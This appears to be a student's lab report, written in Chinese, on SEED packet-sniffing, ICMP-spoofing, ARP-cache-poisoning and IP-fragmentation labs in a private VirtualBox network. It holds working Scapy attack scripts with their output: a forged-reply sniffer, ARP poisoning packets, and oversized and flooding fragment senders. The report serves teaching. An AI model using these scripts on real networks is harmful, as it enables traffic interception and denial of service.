

57117121 聂榕

Packet Sniffing and Spoofing Lab

Task set 1

1.1A

sudo 下执行:

(此处虚拟机网络设置为桥接网卡, 桥接至宿主机无线网卡)

```
[09/07/20]seed@VM:~/Lab/lab3$ sudo ./sniffer.py
###[ Ethernet ]###
  dst      = 08:00:27:4f:7f:61
  src      = 5c:5f:67:2c:a4:16
  type     = IPv4
###[ IP ]###
  version  = 4
  ihl      = 5
  tos      = 0x0
  len      = 60
  id       = 58732
  flags    =
  frag     = 0
  ttl      = 128
  proto    = icmp
  chksum   = 0xd136
  src      = 192.168.1.102
  dst      = 192.168.1.103
  \options \
###[ ICMP ]###
  type     = echo-request
  code     = 0
  chksum   = 0x4d1d
  id       = 0x1
```

无 sudo:

```
[09/07/20]seed@VM:~/Lab/lab3$ ./sniffer.py
Traceback (most recent call last):
  File "./sniffer.py", line 5, in <module>
    pkt = sniff(filter='icmp', prn=print_pkt)
  File "/usr/local/lib/python3.5/dist-packages/scapy/sendrecv.py", line 1036, in sniff
    sniffer.run(*args, **kwargs)
  File "/usr/local/lib/python3.5/dist-packages/scapy/sendrecv.py", line 907, in run
    *arg, **karg)] = iface
  File "/usr/local/lib/python3.5/dist-packages/scapy/arch/linux.py", line 398, in __init__
    self.ins = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(type))
  File "/usr/lib/python3.5/socket.py", line 134, in __init__
    _socket.socket.__init__(self, family, type, proto, fileno)
PermissionError: [Errno 1] Operation not permitted
[09/07/20]seed@VM:~/Lab/lab3$
```

最后一行显示操作不被允许, 权限不足。

1.1B

只抓取 ICMP 包的程序就是上述 1.1A 的示例程序

抓取特定 ip 源地址发出的, 目的端口是 23 的包:

```
#!/usr/bin/python3
from scapy.all import *
def print_pkt(pkt):
    pkt.show()
pkt = sniff(filter='tcp dst port 23&src host 192.168.1.102',prn=print_pkt)
```

其中 192.168.1.102 是宿主机 ip

23 端口是 Telnet 服务，在虚拟机内运行 sniffer 程序，我们在宿主机上使用 putty 尝试使用虚拟机的 telnet 服务：

```
Ubuntu 16.04.2 LTS
VM login: seed
Password:
Last login: Tue Sep  8 04:05:47 EDT 2020 from 192.168.1.102 on pts/1
Welcome to Ubuntu 16.04.2 LTS (GNU/Linux 4.8.0-36-generic i686)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/advantage

1 package can be updated.
0 updates are security updates.

[09/08/20]seed@VM:~$ ls
android      Desktop      examples.desktop  lib      Music      source
bin          Documents    get-pip.py        ls       Pictures    Templates
Customization Downloads     Lab               ls.c     Public      Videos
[09/08/20]seed@VM:~$
```

虚拟机：

```
[09/08/20]seed@VM:~/Lab/lab3$ sudo ./sniffertcp.py
###[ Ethernet ]###
  dst      = 08:00:27:4f:7f:61
  src      = 5c:5f:67:2c:a4:16
  type     = IPv4
###[ IP ]###
  version  = 4
  ihl      = 5
  tos      = 0x0
  len      = 52
  id       = 11586
  flags    = DF
  frag     = 0
  ttl      = 128
  proto    = tcp
  chksum   = 0x4964
  src      = 192.168.1.102
  dst      = 192.168.1.103
  \options \
###[ TCP ]###
  sport    = 9812
  dport    = telnet
  seq      = 2197364495
  ack      = 0
  dataofs  = 8
```

如果使用 22 端口的 ssh 服务，则虚拟机内无输出，说明只抓取目的端口为 23 的包。

抓取属于某子网的数据包程序如下：

```
#!/usr/bin/python3
from scapy.all import *
def print_pkt(pkt):
    pkt.show()
pkt = sniff(filter='net 128.230.0.0/16',prn=print_pkt)
```

Task1.2

我们新开一个终端，运行 task1.1 中的 icmp 包的捕获程序，以观察我们的伪造结果伪造和发送过程：

```
[09/08/20]seed@VM:~/Lab/lab3$ sudo python3
Python 3.5.2 (default, Nov 17 2016, 17:05:23)
[GCC 5.4.0 20160609] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from scapy.all import *
>>> a=IP()
>>> a.dst='10.2.2.3'
>>> b=ICMP()
>>> p=a/b
>>> send(p)
.
Sent 1 packets.
```

捕获情况：

```
[09/08/20]seed@VM:~/Lab/lab3$ sudo ./sniffer.py
###[ Ethernet ]###
  dst      = fc:d7:33:da:60:5e
  src      = 08:00:27:4f:7f:61
  type     = IPv4
###[ IP ]###
  version  = 4
  ihl      = 5
  tos      = 0x0
  len      = 28
  id       = 1
  flags    =
  frag     = 0
  ttl      = 64
  proto    = icmp
  chksum   = 0xaccc
  src      = 192.168.1.103
  dst      = 10.2.2.3
  \options \
###[ ICMP ]###
  type     = echo-request
  code     = 0
  chksum   = 0xf7ff
```

Task1.3

我们 ping 向 www.baidu.com

```

.
Sent 1 packets.
>>> a.ttl=8
>>> send(a/b)

.
Sent 1 packets.
>>> a.ttl=9
>>> send(a/b)

.
Sent 1 packets.
>>> a.ttl=10
>>> send(a/b)

.
Sent 1 packets.
>>> a.ttl=11
>>> send(a/b)

.
Sent 1 packets.
>>> a.ttl=12
>>> send(a/b)

.
Sent 1 packets.
>>> 

```

共 12 次

Wireshark 抓取结果：

No.	Time	Source	Destination	Protocol	Length	Info
22	2020-09-08 05:24:48.6122584...	192.168.1.103	218.4.4.4	ICMP	160	Destination unr...
25	2020-09-08 05:24:50.7431921...	192.168.1.103	180.101.49.11	ICMP	42	Echo (ping) req...
26	2020-09-08 05:24:50.7446962...	192.168.1.1	192.168.1.103	ICMP	70	Time-to-live ex...
54	2020-09-08 05:25:37.0135519...	192.168.1.103	180.101.49.11	ICMP	42	Echo (ping) req...
55	2020-09-08 05:25:37.0182482...	114.222.140.1	192.168.1.103	ICMP	70	Time-to-live ex...
72	2020-09-08 05:25:54.7634358...	192.168.1.103	180.101.49.11	ICMP	42	Echo (ping) req...
73	2020-09-08 05:25:54.7685657...	221.231.175.217	192.168.1.103	ICMP	110	Time-to-live ex...
88	2020-09-08 05:26:14.8226855...	192.168.1.103	180.101.49.11	ICMP	42	Echo (ping) req...
89	2020-09-08 05:26:14.8325340...	218.2.182.33	192.168.1.103	ICMP	110	Time-to-live ex...
106	2020-09-08 05:26:27.5981278...	192.168.1.103	180.101.49.11	ICMP	42	Echo (ping) req...
107	2020-09-08 05:26:27.6154385...	58.213.94.74	192.168.1.103	ICMP	70	Time-to-live ex...
113	2020-09-08 05:26:40.5905191...	192.168.1.103	180.101.49.11	ICMP	42	Echo (ping) req...
129	2020-09-08 05:26:58.5873849...	192.168.1.103	180.101.49.11	ICMP	42	Echo (ping) req...
130	2020-09-08 05:26:58.6009558...	58.213.96.114	192.168.1.103	ICMP	70	Time-to-live ex...
186	2020-09-08 05:28:19.4143176...	192.168.1.103	180.101.49.11	ICMP	42	Echo (ping) req...
187	2020-09-08 05:28:19.4241395...	10.166.50.4	192.168.1.103	ICMP	70	Time-to-live ex...
190	2020-09-08 05:28:29.5185758...	192.168.1.103	180.101.49.11	ICMP	42	Echo (ping) req...
191	2020-09-08 05:28:29.5301562...	10.166.50.8	192.168.1.103	ICMP	70	Time-to-live ex...
230	2020-09-08 05:29:30.4926978...	192.168.1.103	180.101.49.11	ICMP	42	Echo (ping) req...
231	2020-09-08 05:29:34.2784828...	192.168.1.103	180.101.49.11	ICMP	42	Echo (ping) req...
233	2020-09-08 05:29:37.7582364...	192.168.1.103	180.101.49.11	ICMP	42	Echo (ping) req...
234	2020-09-08 05:29:37.7663717...	180.101.49.11	192.168.1.103	ICMP	60	Echo (ping) rep...

我们可以看到，除第一个应该是与 DNS 有关，其中有一些包没有成功返回结果

Windows 下 tracert 命令（虚拟机与宿主机为桥接，在一个局域网下，所以路由路径一致）：

```
PS C:\Users\nielu> tracert www.baidu.com
```

通过最多 30 个跃点跟踪
到 www.a.shifen.com [180.101.49.11] 的路由:

1	3 ms	4 ms	12 ms	192.168.1.1
2	6 ms	6 ms	5 ms	114.222.140.1
3	6 ms	10 ms	5 ms	221.231.175.217
4	6 ms	10 ms	6 ms	218.2.182.33
5	8 ms	19 ms	8 ms	58.213.94.74
6	*	*	*	请求超时。
7	5 ms	5 ms	17 ms	58.213.96.114
8	9 ms	9 ms	9 ms	10.166.50.4
9	5 ms	7 ms	8 ms	10.166.50.8
10	*	49 ms	56 ms	10.166.96.4
11	*	*	10 ms	10.165.1.39
12	8 ms	4 ms	3 ms	180.101.49.11

跟踪完成。

```
PS C:\Users\nielu>
```

可以找到大部分对应关系。

1.4

程序如下:

```
#!/usr/bin/python3
from scapy.all import *
def print_pkt(pkt):
    a=Ether()
    a.dst=pkt[Ether].src
    a.src=pkt[Ether].dst
    a.type=pkt[Ether].type
    b=IP()
    b.dst=pkt[IP].src
    b.src=pkt[IP].dst
    c=ICMP()
    c.type=0;
    c.id=pkt[ICMP].id
    c.id=pkt[ICMP].id
    c.seq=pkt[ICMP].seq
    d=Raw()
    d.load='spoofing'
    send(b/c/d)
pkt = sniff(filter='icmp[0]==8 && net 192.168.1.0/24',prn=print_pkt)
```

其实，伪造报文的负载部分应该与收到的 request 报文的负载一致，这样伪造程度更高，但是为了与正常回复区别，我们将负载设置为“spoofing”

我们需要在虚拟机外部，virtualbox 上将该虚拟机网卡的混杂模式打开，虚拟机内部使用命令将网卡的混杂模式打开。

网络地址如下，宿主机 IP 为 192.168.1.102/24（无线网卡），虚拟机网卡为桥接网卡，桥接宿主机无线网卡，IP 为 192.168.1.104/24

宿主机上尝试 ping 2.2.2.2:

```
PS C:\Users\nielu> ping 2.2.2.2

正在 Ping 2.2.2.2 具有 32 字节的数据:
请求超时。
请求超时。
请求超时。
请求超时。

2.2.2.2 的 Ping 统计信息:
    数据包: 已发送 = 4, 已接收 = 0, 丢失 = 4 (100% 丢失),
PS C:\Users\nielu>
```

虚拟机开启我们的伪造程序后:

```
PS C:\Users\nielu> ping 2.2.2.2

正在 Ping 2.2.2.2 具有 32 字节的数据:
来自 2.2.2.2 的回复: 字节=8 (已发送 32) 时间=21ms TTL=64
来自 2.2.2.2 的回复: 字节=8 (已发送 32) 时间=12ms TTL=64
来自 2.2.2.2 的回复: 字节=8 (已发送 32) 时间=26ms TTL=64
来自 2.2.2.2 的回复: 字节=8 (已发送 32) 时间=30ms TTL=64

2.2.2.2 的 Ping 统计信息:
    数据包: 已发送 = 4, 已接收 = 4, 丢失 = 0 (0% 丢失),
往返行程的估计时间(以毫秒为单位):
    最短 = 12ms, 最长 = 30ms, 平均 = 22ms
PS C:\Users\nielu>
```

虚拟机内:

Time	Source	Destination	Protocol	Length	Info
22 2020-09-09 04:31:52.971869106	192.168.1.102	2.2.2.2	ICMP	74	Echo (ping) request id=0x0001, seq=269/3329, ttl=128 (no response found!)
23 2020-09-09 04:31:52.993455256	2.2.2.2	192.168.1.102	ICMP	50	Echo (ping) reply id=0x0001, seq=269/3329, ttl=64
26 2020-09-09 04:31:53.975839895	192.168.1.102	2.2.2.2	ICMP	74	Echo (ping) request id=0x0001, seq=270/3585, ttl=128 (no response found!)
27 2020-09-09 04:31:53.988254206	2.2.2.2	192.168.1.102	ICMP	50	Echo (ping) reply id=0x0001, seq=270/3585, ttl=64
34 2020-09-09 04:31:54.981191686	192.168.1.102	2.2.2.2	ICMP	74	Echo (ping) request id=0x0001, seq=271/3841, ttl=128 (no response found!)
35 2020-09-09 04:31:55.007438151	2.2.2.2	192.168.1.102	ICMP	50	Echo (ping) reply id=0x0001, seq=271/3841, ttl=64
37 2020-09-09 04:31:55.985403748	192.168.1.102	2.2.2.2	ICMP	74	Echo (ping) request id=0x0001, seq=272/4097, ttl=128 (no response found!)
38 2020-09-09 04:31:56.015461471	2.2.2.2	192.168.1.102	ICMP	50	Echo (ping) reply id=0x0001, seq=272/4097, ttl=64

0000	5c 5f 67 2c a4 16 08 00	27 4f 7f 61 08 00 45 00	_g,... '0.a..E.
0010	00 24 00 01 00 00 40 01	b4 c6 02 02 02 02 c0 a8	.\$....@.
0020	01 66 00 00 47 41 00 01	01 0d 73 70 6f 6f 66 69	.f..GA... ..spoof1
0030	6e 67		ng

可以看到我们伪造的包起了效果

关于抓包列表里的 (no response found!), 如果我们将回复包的负载设置为和请求包一样, 那么这个提示信息就没有了。

ARP Cache Poisoning Attack Lab

Task1

Seed 虚拟机地址为 192.168.1.104/24, 宿主机为 192.168.1.102/24, 另一台虚拟机 A 地址为 192.168.1.105/24

我们的目的是通过 seed 虚拟机污染虚拟机 A 中关于宿主机的 ARP 项
先看正常情况下虚拟机 A 的 ARP 列表:

```

nie@nie-VirtualBox:~$ arp
地址          类型      硬件地址          标志  Mask      接口
192.168.1.104  ether     08:00:27:4f:7f:61  C           enp0s3
192.168.1.103  ether     (incomplete)      C           enp0s3
192.168.1.1    ether     fc:d7:33:da:60:5e  C           enp0s3
192.168.1.102  ether     5c:5f:67:2c:a4:16  C           enp0s3
nie@nie-VirtualBox:~$ |

```

宿主机 mac 为 5c 开头的

1A

使用 arp 请求包

arp 请求包除了请求作用外, 还有一个功能就是让收到请求包的主机获得请求者的 IP 和 MAC 对应关系

所以利用请求包的这一点可以进行。

我们的 seed 虚拟机 IP 为 192.168.1.104

伪造程序如下:

```

from scapy.all import *
a = Ether()
b = ARP()
b.pdst = "192.168.1.105"
b.psrc = "192.168.1.102"
pkt = b/a
sendp(pkt)

```

也就是说发送一个 arp 请求, 但是假装是 192.168.1.102 (宿主机) 发的, 那么, 192.168.1.105 (虚拟机 A) 会认为该包的 MAC (seed 虚拟机的 mac) 与 192.168.1.102 是绑定的
查看效果:

```

nie@nie-VirtualBox:~$ arp
地址          类型      硬件地址          标志  Mask      接口
192.168.1.104  ether     08:00:27:4f:7f:61  C           enp0s3
192.168.1.103  ether     (incomplete)      C           enp0s3
192.168.1.1    ether     fc:d7:33:da:60:5e  C           enp0s3
192.168.1.102  ether     08:00:27:4f:7f:61  C           enp0s3
nie@nie-VirtualBox:~$

```

可以看到 192.168.104 和 192.168.1.102 的 mac 地址一样了。

还有一种办法, 代码如下 (直接使用 scapy 命令行):

```

>>> a=Ether()
>>> b=ARP()
>>> b.pdst='192.168.1.105'
>>> b.hwsrc='aa:aa:aa:aa:aa:aa'
>>> sendp(a/b)
.
Sent 1 packets.
>>>

```

只填充目的 IP 和源 MAC, 那么这样污染的就是 seed 虚拟机的 mac 了:


```

nie@nie-VirtualBox:~$ arp
地址          类型      硬件地址      标志  Mask      接口
192.168.1.102 ether      5c:5f:67:2c:a4:16 C      Mask      enp0s3
192.168.1.104 ether      aa:aa:aa:aa:aa:aa C      Mask      enp0s3
192.168.1.1   ether      fc:d7:33:da:60:5e C      Mask      enp0s3
nie@nie-VirtualBox:~$ |

```

1B

先用 ping 命令还原 arp 表

```

>>> a=Ether()
>>> b=ARP()
>>> b.pdst='192.168.1.105'
>>> b.psrc='192.168.1.102'
>>> b.hwsrc='aa:aa:aa:aa:aa:aa'
>>> b.op=2
>>> p=a/b
>>> sendp(p)
.
Sent 1 packets.
>>> 

```

结果：

```

nie@nie-VirtualBox:~$ arp
地址          类型      硬件地址      标志  Mask      接口
192.168.1.102 ether      aa:aa:aa:aa:aa:aa C      Mask      enp0s3
192.168.1.104 ether      08:00:27:4f:7f:61 C      Mask      enp0s3
192.168.1.1   ether      fc:d7:33:da:60:5e C      Mask      enp0s3
nie@nie-VirtualBox:~$ |

```

注：

其实，如果不执行 `b.op=2`，即在默认值为 1 (request) 情况下，攻击依然能成立，也就是说，无论是不是 reply 包，系统都会将 arp 中的源 ip 字段和源 mac 字段做绑定

1C

```

>>> a=Ether()
>>> a.dst='ff:ff:ff:ff:ff:ff'
>>> b=ARP()
>>> b.psrc=b.pdst='192.168.1.102'
>>> b.hwsrc='bb:bb:bb:bb:bb:bb'
>>> b.hwdst='ff:ff:ff:ff:ff:ff'
>>> p=a/b
>>> sendp(p)
.
Sent 1 packets.
>>> 

```

```

nie@nie-VirtualBox:~$ arp
地址          类型      硬件地址      标志  Mask      接口
192.168.1.102 ether      bb:bb:bb:bb:bb:bb C      Mask      enp0s3
192.168.1.104 ether      08:00:27:4f:7f:61 C      Mask      enp0s3
192.168.1.1   ether      fc:d7:33:da:60:5e C      Mask      enp0s3
nie@nie-VirtualBox:~$

```


IP/ICMP Attacks Lab

Task1.a

代码如下：

```
from scapy.all import *
# Construct IP header
ip = IP(src="192.168.1.105", dst="192.168.1.104")
ip.id = 1 # Identification
ip.frag = 0 # Offset of this IP fragment
ip.flags = 1 # Flags
# Construct UDP header
udp = UDP(sport=7070, dport=9090)
udp.len = 104 # This should be the combined length of all fragments
# Construct payload
payload = 'A' * 32 # Put 80 bytes in the first fragment
# Construct the entire packet and send it out
pkt = ip/udp/payload # For other fragments, we should use ip/payload
pkt[UDP].chksum = 0 # Set the checksum field to zero
pkt[IP].proto=17
send(pkt,verbose=0)
ip.frag=5
pkt = ip/payload
pkt[IP].proto=17
send(pkt,verbose=0)
ip.frag=9
ip.flags=0
pkt = ip/payload
pkt[IP].proto=17
send(pkt,verbose=0)
```

udp 报头+96 个 A 共 104 字节，拆分成三段，第一段 32 个 A+8 字节 udp 报头，第二段和第三段都是 32 个 A。所以第二个包的 fragment offset= (32+8) /8=5，第三个包的 fragment offset 为 (32+8+32) /5=9

执行结果：

```
[09/11/20]seed@VM:~$ nc -lu 9090
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAA
```

ip.src_host==192.168.1.105 && ip.dst_host==192.168.1.104							Expression...	+
No.	Time	Source	Destination	Protocol	Length	Info		
1502	2020-09-11 04:59:52.022048973	192.168.1.105	192.168.1.104	IPv4	74	Fragmented IP protocol (proto=UDP 17, off=0, ID=0001) [Reassembled in #1504]		
1503	2020-09-11 04:59:52.068720548	192.168.1.105	192.168.1.104	IPv4	66	Fragmented IP protocol (proto=UDP 17, off=40, ID=0001) [Reassembled in #1504]		
1504	2020-09-11 04:59:52.111433585	192.168.1.105	192.168.1.104	UDP	66	7070 → 9090 Len=96		

此处注意，实验指导文档的范例程序中的 `udp.checksum` 的语句并不能设置 udp 报头的 checksum 值，而 `udp.chksum` 语句可以。所以若以范例程序，那么最后 checksum 既不是 0，也不是正确值。

nc 命令应该是要检查 checksum 的，但 wireshark 不检查。所以会出现 wireshark'显示组合但 nc 不输出的情况。

Task1.b

按顺序发送包的代码如下：

```

from scapy.all import *
# Construct IP header
ip = IP(src="192.168.1.105", dst="192.168.1.104")
ip.id = 1 # Identification
ip.frag = 0 # Offset of this IP fragment
ip.flags = 1 # Flags
# Construct UDP header
udp = UDP(sport=7070, dport=9090)
udp.len = 96 # This should be the combined length of all fragments
# Construct payload
payload = 'A' * 32 # Put 80 bytes in the first fragment
# Construct the entire packet and send it out
pkt = ip/udp/payload # For other fragments, we should use ip/payload
pkt[UDP].chksum = 0 # Set the checksum field to zero
pkt[IP].proto=17
send(pkt,verbose=0)
ip.frag=4
payload = 'B' * 32
pkt = ip/payload
pkt[IP].proto=17
send(pkt,verbose=0)
ip.frag=8
ip.flags=0
pkt = ip/payload
pkt[IP].proto=17
send(pkt,verbose=0)

```

我们将第二个包的负载换成 32 个'B'。

覆盖了 8 个字节，即后两个包的 fragment offset 都较 1.a 中的值-1。

此处还要注意，我们将 udp 头中的 length 字段从 1.a 中的 104 变为了 96（覆盖了 8 个字节的缘故），这样 nc 才能正常输出

运行结果：

```

[09/11/20]seed@VM:~$ nc -lu 9090
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBB

```

A 是 32 个，说明第一个包覆盖掉了第二个包的前 8 个字节。

换掉第一个包和第二个包的顺序之后结果不变。因为重新组装应该是在所有包都收到后才做的事情。

Task1.c

代码如下：

```

from scapy.all import *
# Construct IP header
ip = IP(src="192.168.1.105", dst="192.168.1.104")
ip.id = 1 # Identification
ip.frag = 0 # Offset of this IP fragment
ip.flags = 1 # Flags
# Construct UDP header
udp = UDP(sport=7070, dport=9090)
udp.len=60 # This should be the combined length of all fragments
# Construct payload
payload = 'A' * 65504 # Put 80 bytes in the first fragment
# Construct the entire packet and send it out
pkt = ip/udp/payload # For other fragments, we should use ip/payload
pkt[UDP].chksum = 0 # Set the checksum field to zero
pkt[IP].proto=17
send(pkt,verbose=0)
ip.frag=8189
ip.flags=0
payload = 'A' * 100
pkt = ip/payload
pkt[IP].proto=17
send(pkt,verbose=0)

```

发送两个包，其中一个稍小于 65535，组合起来超过 65535。

因为 udp.len 只有 8bits，所以只能随便填一个值。

ip.src_host==192.168.1.105 && ip.dst_host==192.168.1.104							Expression
No.	Time	Source	Destination	Protocol	Length	Info	
202	2020-09-11 05:57:04.635358652	192.168.1.105	192.168.1.104	IPv4	1514	Fragmented IP protocol (proto=UDP 17, off=37800, IO=0001) [Reassembled in #222]	
203	2020-09-11 05:57:04.635922880	192.168.1.105	192.168.1.104	IPv4	1514	Fragmented IP protocol (proto=UDP 17, off=38480, IO=0001) [Reassembled in #222]	
204	2020-09-11 05:57:04.636487156	192.168.1.105	192.168.1.104	IPv4	1514	Fragmented IP protocol (proto=UDP 17, off=39960, IO=0001) [Reassembled in #222]	
205	2020-09-11 05:57:04.636991980	192.168.1.105	192.168.1.104	IPv4	1514	Fragmented IP protocol (proto=UDP 17, off=41440, IO=0001) [Reassembled in #222]	
206	2020-09-11 05:57:04.637484190	192.168.1.105	192.168.1.104	IPv4	1514	Fragmented IP protocol (proto=UDP 17, off=42920, IO=0001) [Reassembled in #222]	
207	2020-09-11 05:57:04.637957694	192.168.1.105	192.168.1.104	IPv4	1514	Fragmented IP protocol (proto=UDP 17, off=44400, IO=0001) [Reassembled in #222]	
208	2020-09-11 05:57:04.638453819	192.168.1.105	192.168.1.104	IPv4	1514	Fragmented IP protocol (proto=UDP 17, off=45880, IO=0001) [Reassembled in #222]	
209	2020-09-11 05:57:04.638923408	192.168.1.105	192.168.1.104	IPv4	1514	Fragmented IP protocol (proto=UDP 17, off=47360, IO=0001) [Reassembled in #222]	
210	2020-09-11 05:57:04.639412517	192.168.1.105	192.168.1.104	IPv4	1514	Fragmented IP protocol (proto=UDP 17, off=48840, IO=0001) [Reassembled in #222]	
211	2020-09-11 05:57:04.639893357	192.168.1.105	192.168.1.104	IPv4	1514	Fragmented IP protocol (proto=UDP 17, off=50320, IO=0001) [Reassembled in #222]	
212	2020-09-11 05:57:04.640432270	192.168.1.105	192.168.1.104	IPv4	1514	Fragmented IP protocol (proto=UDP 17, off=51800, IO=0001) [Reassembled in #222]	
213	2020-09-11 05:57:04.640953660	192.168.1.105	192.168.1.104	IPv4	1514	Fragmented IP protocol (proto=UDP 17, off=53280, IO=0001) [Reassembled in #222]	
Internet Protocol Version 4, Src: 192.168.1.105, Dst: 192.168.1.104							
0100 = Version: 4							
.... 0101 = Header Length: 20 bytes (5)							
Differentiated Services Field: 0x00 (DSCP: CS0, ECN: Not-ECT)							
...							
00000000	1b 9e 23 82 00 3c 00 00	41 41 41 41 41 41 41 41	41 41 41 41 41 41 41 41	..F.<..	AAAAAAAA		
00000010	41 41 41 41 41 41 41 41	41 41 41 41 41 41 41 41	41 41 41 41 41 41 41 41	AAAAAAAA	AAAAAAAA		
00000020	41 41 41 41 41 41 41 41	41 41 41 41 41 41 41 41	41 41 41 41 41 41 41 41	AAAAAAAA	AAAAAAAA		
00000030	41 41 41 41 41 41 41 41	41 41 41 41 41 41 41 41	41 41 41 41 41 41 41 41	AAAAAAAA	AAAA		
00000040	41 41 41 41 41 41 41 41	41 41 41 41 41 41 41 41	41 41 41 41 41 41 41 41	AAAAAAAA	AAAAAAAA		
00000050	41 41 41 41 41 41 41 41	41 41 41 41 41 41 41 41	41 41 41 41 41 41 41 41	AAAAAAAA	AAAAAAAA		
00000060	41 41 41 41 41 41 41 41	41 41 41 41 41 41 41 41	41 41 41 41 41 41 41 41	AAAAAAAA	AAAAAAAA		
00000070	41 41 41 41 41 41 41 41	41 41 41 41 41 41 41 41	41 41 41 41 41 41 41 41	AAAAAAAA	AAAAAAAA		
00000080	41 41 41 41 41 41 41 41	41 41 41 41 41 41 41 41	41 41 41 41 41 41 41 41	AAAAAAAA	AAAAAAAA		
00000090	41 41 41 41 41 41 41 41	41 41 41 41 41 41 41 41	41 41 41 41 41 41 41 41	AAAAAAAA	AAAAAAAA		
000000a0	41 41 41 41 41 41 41 41	41 41 41 41 41 41 41 41	41 41 41 41 41 41 41 41	AAAAAAAA	AAAAAAAA		
000000b0	41 41 41 41 41 41 41 41	41 41 41 41 41 41 41 41	41 41 41 41 41 41 41 41	AAAAAAAA	AAAAAAAA		
000000c0	41 41 41 41 41 41 41 41	41 41 41 41 41 41 41 41	41 41 41 41 41 41 41 41	AAAAAAAA	AAAAAAAA		
000000d0	41 41 41 41 41 41 41 41	41 41 41 41 41 41 41 41	41 41 41 41 41 41 41 41	AAAAAAAA	AAAAAAAA		
000000e0	41 41 41 41 41 41 41 41	41 41 41 41 41 41 41 41	41 41 41 41 41 41 41 41	AAAAAAAA	AAAAAAAA		
000000f0	41 41 41 41 41 41 41 41	41 41 41 41 41 41 41 41	41 41 41 41 41 41 41 41	AAAAAAAA	AAAAAAAA		
00000100	41 41 41 41 41 41 41 41	41 41 41 41 41 41 41 41	41 41 41 41 41 41 41 41	AAAAAAAA	AAAAAAAA		
00000110	41 41 41 41 41 41 41 41	41 41 41 41 41 41 41 41	41 41 41 41 41 41 41 41	AAAAAAAA	AAAAAAAA		
00000120	41 41 41 41 41 41 41 41	41 41 41 41 41 41 41 41	41 41 41 41 41 41 41 41	AAAAAAAA	AAAAAAAA		
00000130	41 41 41 41 41 41 41 41	41 41 41 41 41 41 41 41	41 41 41 41 41 41 41 41	AAAAAAAA	AAAAAAAA		
00000140	41 41 41 41 41 41 41 41	41 41 41 41 41 41 41 41	41 41 41 41 41 41 41 41	AAAAAAAA	AAAAAAAA		
00000150	41 41 41 41 41 41 41 41	41 41 41 41 41 41 41 41	41 41 41 41 41 41 41 41	AAAAAAAA	AAAAAAAA		
00000160	41 41 41 41 41 41 41 41	41 41 41 41 41 41 41 41	41 41 41 41 41 41 41 41	AAAAAAAA	AAAAAAAA		
00000170	41 41 41 41 41 41 41 41	41 41 41 41 41 41 41 41	41 41 41 41 41 41 41 41	AAAAAAAA	AAAAAAAA		
Frame (134 bytes) Reassembled IPv4 (65612 bytes)							

实际上在发送的时候还进行了进一步拆分，我们看到最终，wireshark 中 reassembled IPv4 有 65612 字节。nc 命令产生的服务器并没有什么反应，应该是检查 udp.len 不正确未组装。

Task1.d

代码如下：

```

from scapy.all import *
# Construct IP header
ip = IP(src="192.168.1.105", dst="192.168.1.104")
ip.id = 1 # Identification
ip.frag = 0 # Offset of this IP fragment
ip.flags = 1 # Flags
# Construct UDP header
udp = UDP(sport=7070, dport=9090)
udp.len = 104 # This should be the combined length of all fragments
# Construct payload
payload = 'A' * 32 # Put 80 bytes in the first fragment
# Construct the entire packet and send it out
pkt1 = ip/udp/payload # For other fragments, we should use ip/payload
pkt1[UDP].chksum = 0 # Set the checksum field to zero
pkt1[IP].proto=17

ip.frag=5
pkt2 = ip/payload
pkt2[IP].proto=17

ip.frag=9
ip.flags=0
pkt3 = ip/payload
pkt3[IP].proto=17

for i in range(2000):
    pkt1[IP].id=i;
    pkt3[IP].id=i;
    send(pkt1,verbose=0)
    send(pkt3,verbose=0)

```

每个 id 只发第一个和第三个包。

理论上讲接受虚拟机内存占用应该上涨，但是事实上并没有明显的上涨。我感觉应该是发送地太慢了或者是 nc 服务器有一些保护措施，使比较早的不完整包被丢弃了